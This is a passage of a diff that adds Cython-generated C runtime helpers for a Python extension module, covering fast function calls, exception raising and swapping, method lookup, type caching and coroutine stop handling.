co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + 